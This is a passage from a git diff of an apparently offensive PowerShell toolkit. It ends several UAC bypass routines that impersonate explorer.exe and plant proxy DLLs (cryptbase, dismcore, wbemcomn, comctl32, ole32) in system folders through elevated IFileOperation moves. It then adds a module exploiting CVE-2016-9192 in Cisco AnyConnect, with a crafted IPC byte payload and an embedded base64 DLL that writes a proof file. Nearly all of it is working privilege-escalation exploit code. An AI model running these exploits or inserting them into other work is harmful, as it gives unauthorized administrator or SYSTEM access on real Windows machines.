'\System32\sysprep\'), "cryptbase.dll") + $IFileOperation.PerformOperations() + echo "`n[?] Executing sysprep.." + IEX $($env:SystemRoot + '\System32\sysprep\sysprep.exe') + + # Clean-up + echo "[!] UAC artifact: $($env:SystemRoot + '\System32\sysprep\cryptbase.dll')`n" + } + + # UACME method 23 + 'ucmDismMethod' + { + # Hybrid DISM method: package.xml -> pkgmgr.exe + # Works on x64 Win7-Win10 (unpatched) + if ($OSMajorMinor -lt 6.1) { + echo "[!] Your OS does not support this method!`n" + Return + } if (!$x64) { + echo "[!] This method is only supported on 64-bit!`n" + Return + } + + # Impersonate explorer.exe + echo "`n[!] Impersonating explorer.exe!" + Masquerade-PEB -BinPath "C:\Windows\explorer.exe" + + if ($DllPath) { + echo "[>] Using custom proxy dll.." + echo "[+] Dll path: $DllPath" + } else { + # Write Yamabiko.dll to disk + echo "[>] Dropping proxy dll.." + Emit-Yamabiko + } + + # Write package XML to disk + $PackagePath = $env:Temp + "\pac$(Get-Random).xml" + echo "[>] Creating XML trigger: $PackagePath" + $WinPackageData > $PackagePath + + # Expose IFileOperation COM object + Invoke-IFileOperation + + # Exploit logic + echo "[>] Performing elevated IFileOperation::MoveItem operation.." + $IFileOperation.MoveItem($DllPath, $($env:SystemRoot + '\System32\'), "dismcore.dll") + $IFileOperation.PerformOperations() + echo "`n[?] Executing PkgMgr.." + IEX $($env:SystemRoot + '\System32\PkgMgr.exe /n:' + $PackagePath) + + # Clean-up + echo "[!] UAC artifact: $($env:SystemRoot + '\System32\dismcore.dll')" + echo "[!] UAC artifact: $PackagePath`n" + } + + # UACME method 20 + 'UacMethodMMC2' + { + # Hybrid MMC method: mmc -> rsop.msc -> wbemcomn.dll + # Works on x64 Win7-Win10 (unpatched) + if ($OSMajorMinor -lt 6.1) { + echo "[!] Your OS does not support this method!`n" + Return + } if (!$x64) { + echo "[!] This method is only supported on 64-bit!`n" + Return + } + + # Impersonate explorer.exe + echo "`n[!] Impersonating explorer.exe!" + Masquerade-PEB -BinPath "C:\Windows\explorer.exe" + + if ($DllPath) { + echo "[>] Using custom proxy dll.." + echo "[+] Dll path: $DllPath" + } else { + # Write Yamabiko.dll to disk + echo "[>] Dropping proxy dll.." + Emit-Yamabiko + } + + # Expose IFileOperation COM object + Invoke-IFileOperation + + # Exploit logic + echo "[>] Performing elevated IFileOperation::MoveItem operation.." + $IFileOperation.MoveItem($DllPath, $($env:SystemRoot + '\System32\wbem\'), "wbemcomn.dll") + $IFileOperation.PerformOperations() + echo "`n[?] Executing mmc.." + IEX $($env:SystemRoot + '\System32\mmc.exe rsop.msc') + + # Clean-up + echo "[!] UAC artifact: $($env:SystemRoot + '\System32\wbem\wbemcomn.dll')`n" + } + + # UAC "0day" ?_(?)_/? + 'UacMethodTcmsetup' + { + # Hybrid tcmsetup method: tcmsetup -> tcmsetup.exe.local -> comctl32.dll + # Works on x64/x32 Win7-Win10 (unpatched) + if ($OSMajorMinor -lt 6.1) { + echo "[!] Your OS does not support this method!`n" + Return + } + + # Impersonate explorer.exe + echo "`n[!] Impersonating explorer.exe!" + Masquerade-PEB -BinPath "C:\Windows\explorer.exe" + + if ($DllPath) { + echo "[>] Using custom proxy dll.." + echo "[+] Dll path: $DllPath" + } else { + # Write Yamabiko.dll to disk + echo "[>] Dropping proxy dll.." + Emit-Yamabiko + } + + # Create tcmsetup.exe.Local folder in %temp% + $TempFolder = $env:Temp + "\tcm$(Get-Random)" + echo "[>] Creating .local trigger folder: $TempFolder" + New-Item -Path $TempFolder -ItemType directory |Out-Null + + # Create possible sub-directories + dir $($env:SystemRoot + '\WinSxS') |where-object { + $_.PSIsContainer -and $_.Name -like "*microsoft.windows.common*" + } | foreach { + New-Item -Path $TempFolder -Name $_.Name -ItemType directory |Out-Null + Copy-Item $DllPath -destination $($TempFolder + '\' + $_.Name + '\comctl32.dll') + } + + # Remove proxy dll + Del $DllPath + + # Expose IFileOperation COM object + Invoke-IFileOperation + + # Exploit logic + echo "[>] Performing elevated IFileOperation::MoveItem operation.." + $IFileOperation.MoveItem($TempFolder, $($env:SystemRoot + '\System32\'), "tcmsetup.exe.Local") + $IFileOperation.PerformOperations() + + echo "`n[?] Executing tcmsetup.." + IEX $($env:SystemRoot + '\System32\tcmsetup.exe') + + # Clean-up + echo "[!] UAC artifact: $($env:SystemRoot + '\System32\tcmsetup.exe.Local\')`n" + } + + # UAC "0day" ?_(?)_/? + 'UacMethodNetOle32' + { + # Hybrid MMC method: mmc some.msc -> Microsoft.NET\Framework[64]\..\ole32.dll + # Works on x64/x32 Win7-Win10 (unpatched) + if ($OSMajorMinor -lt 6.1) { + echo "[!] Your OS does not support this method!`n" + Return + } + + # Impersonate explorer.exe + echo "`n[!] Impersonating explorer.exe!" + Masquerade-PEB -BinPath "C:\Windows\explorer.exe" + + if ($DllPath) { + echo "[>] Using custom proxy dll.." + echo "[+] Dll path: $DllPath" + } else { + # Write Yamabiko.dll to disk + echo "[>] Dropping proxy dll.." + Emit-Yamabiko + } + + # Get default .NET version + [String]$Net_Version = [System.Reflection.Assembly]::GetExecutingAssembly().ImageRuntimeVersion + + # Get count of PowerShell processes + $PS_InitCount = @(Get-Process -Name powershell).Count + + # Expose IFileOperation COM object + Invoke-IFileOperation + + # Exploit logic + echo "[>] Performing elevated IFileOperation::MoveItem operation.." + # x32/x64 .NET folder + if ($x64) { + $IFileOperation.MoveItem($DllPath, $($env:SystemRoot + '\Microsoft.NET\Framework64\' + $Net_Version + '\'), "ole32.dll") + } else { + $IFileOperation.MoveItem($DllPath, $($env:SystemRoot + '\Microsoft.NET\Framework\' + $Net_Version + '\'), "ole32.dll") + } + $IFileOperation.PerformOperations() + echo "`n[?] Executing mmc.." + IEX $($env:SystemRoot + '\System32\mmc.exe gpedit.msc') + + # Move Yamabiko back to %tmp% after it loads to avoid infinite shells! + while ($true) { + $PS_Count = @(Get-Process -Name powershell).Count + if ($PS_Count -gt $PS_InitCount) { + try { + # x32/x64 .NET foler + if ($x64) { + $IFileOperation.MoveItem($($env:SystemRoot + '\Microsoft.NET\Framework64\' + $Net_Version + '\ole32.dll'), $($env:Temp + '\'), 'ole32.dll') + } else { + $IFileOperation.MoveItem($($env:SystemRoot + '\Microsoft.NET\Framework\' + $Net_Version + '\ole32.dll'), $($env:Temp + '\'), 'ole32.dll') + } + $IFileOperation.PerformOperations() + break + } catch { + # Sometimes IFileOperation throws an exception + # when executed twice in a row, just rerun.. + } + } + } + + # Clean-up + echo "[!] UAC artifact: $($env:Temp + '\ole32.dll')`n" + } + } +} \ No newline at end of file diff --git a/Modules/CVE-2016-9192.ps1 b/Modules/CVE-2016-9192.ps1 new file mode 100644 index 0000000..0b9c20a --- /dev/null +++ b/Modules/CVE-2016-9192.ps1 @@ -0,0 +1,159 @@ +<# +.Synopsis + Attempts to exploit cve-2016-9192 which misuses a side loading vulnearbility in Cisco Anyconnects vpnupdater + +.DESCRIPTION + Attempts to exploit cve-2016-9192 which misuses a side loading vulnearbility in Cisco Anyconnects vpnupdater. This module drops a DLL to disk that will only create a file to prove the exploit works under the root of C: + + Script Author: Ben Turner @benpturner + POC: Proof-of-concept and initial code from https://github.com/serializingme/cve-2016-9192 + +.EXAMPLE + PS C:\> Invoke-CVE-2016-919 + +.EXAMPLE + PS C:\> Invoke-CVE-2016-919 -CustomDLL +#> +Function Invoke-CVE-2016-9192 { + +param ($CustomDLL) + + [Byte[]] $payload = + 0x4F, 0x43, 0x53, 0x43, + # Message header length + 0x1A, 0x00, + # Message body length + 0xE4, 0x00, + # IPC response + 0xFF, 0xFF, 0xFF, 0xFF, + # Message user context + 0x00, 0x00, 0x00, 0x00, + # Request message identifier + 0x02, 0x00, 0x00, 0x00, + # Return IPC object + 0x00, 0x00, 0x00, 0x00, + # Message type + 0x01, + # Message identifier + 0x02, + # File path + # C:\Program Files (x86)\Cisco\Cisco AnyConnect Secure Mobility Client\vpndownloader.exe + 0x00, 0x01, # Type + 0x00, 0x57, # Length + 0x43, 0x3A, 0x5C, 0x50, 0x72, 0x6F, 0x67, 0x72, 0x61, 0x6D, 0x20, 0x46, + 0x69, 0x6C, 0x65, 0x73, 0x20, 0x28, 0x78, 0x38, 0x36, 0x29, 0x5C, 0x43, + 0x69, 0x73, 0x63, 0x6F, 0x5C, 0x43, 0x69, 0x73, 0x63, 0x6F, 0x20, 0x41, + 0x6E, 0x79, 0x43, 0x6F, 0x6E, 0x6E, 0x65, 0x63, 0x74, 0x20, 0x53, 0x65, + 0x63, 0x75, 0x72, 0x65, 0x20, 0x4D, 0x6F, 0x62, 0x69, 0x6C, 0x69, 0x74, + 0x79, 0x20, 0x43, 0x6C, 0x69, 0x65, 0x6E, 0x74, 0x5C, 0x76, 0x70, 0x6E, + 0x64, 0x6F, 0x77, 0x6E, 0x6C, 0x6F, 0x61, 0x64, 0x65, 0x72, 0x2E, 0x65, + 0x78, 0x65, 0x00, + # Command line (command line should start with "CAC-" or other valid command) + # CAC-doesnt-matter + 0x00, 0x02, # Type + 0x00, 0x12, # Length + 0x43, 0x41, 0x43, 0x2D, 0x64, 0x6F, 0x65, 0x73, 0x6E, 0x74, 0x2D, 0x6D, + 0x61, 0x74, 0x74, 0x65, 0x72, 0x00, + # GUI desktop (not mandatory) + # WinSta0\Default + 0x00, 0x04, + 0x00, 0x10, + 0x57, 0x69, 0x6E, 0x53, 0x74, 0x61, 0x30, 0x5C, 0x44, 0x65, 0x66, 0x61, + 0x75, 0x6C, 0x74, 0x00, + # Use installed + # False + 0x80, 0x05, + 0x00, 0x00, + # Relocatable file path + # C:\Program Files (x86)\Cisco\Cisco AnyConnect Secure Mobility Client\vpndownloader.exe + 0x00, 0x06, + 0x00, 0x57, + 0x43, 0x3A, 0x5C, 0x50, 0x72, 0x6F, 0x67, 0x72, 0x61, 0x6D, 0x20, 0x46, + 0x69, 0x6C, 0x65, 0x73, 0x20, 0x28, 0x78, 0x38, 0x36, 0x29, 0x5C, 0x43, + 0x69, 0x73, 0x63, 0x6F, 0x5C, 0x43, 0x69, 0x73, 0x63, 0x6F, 0x20, 0x41, + 0x6E, 0x79, 0x43, 0x6F, 0x6E, 0x6E, 0x65, 0x63, 0x74, 0x20, 0x53, 0x65, + 0x63, 0x75, 0x72, 0x65, 0x20, 0x4D, 0x6F, 0x62, 0x69, 0x6C, 0x69, 0x74, + 0x79, 0x20, 0x43, 0x6C, 0x69, 0x65, 0x6E, 0x74, 0x5C, 0x76, 0x70, 0x6E, + 0x64, 0x6F, 0x77, 0x6E, 0x6C, 0x6F, 0x61, 0x64, 0x65, 0x72, 0x2E, 0x65, + 0x78, 0x65, 0x00 + + $Base64Dll = "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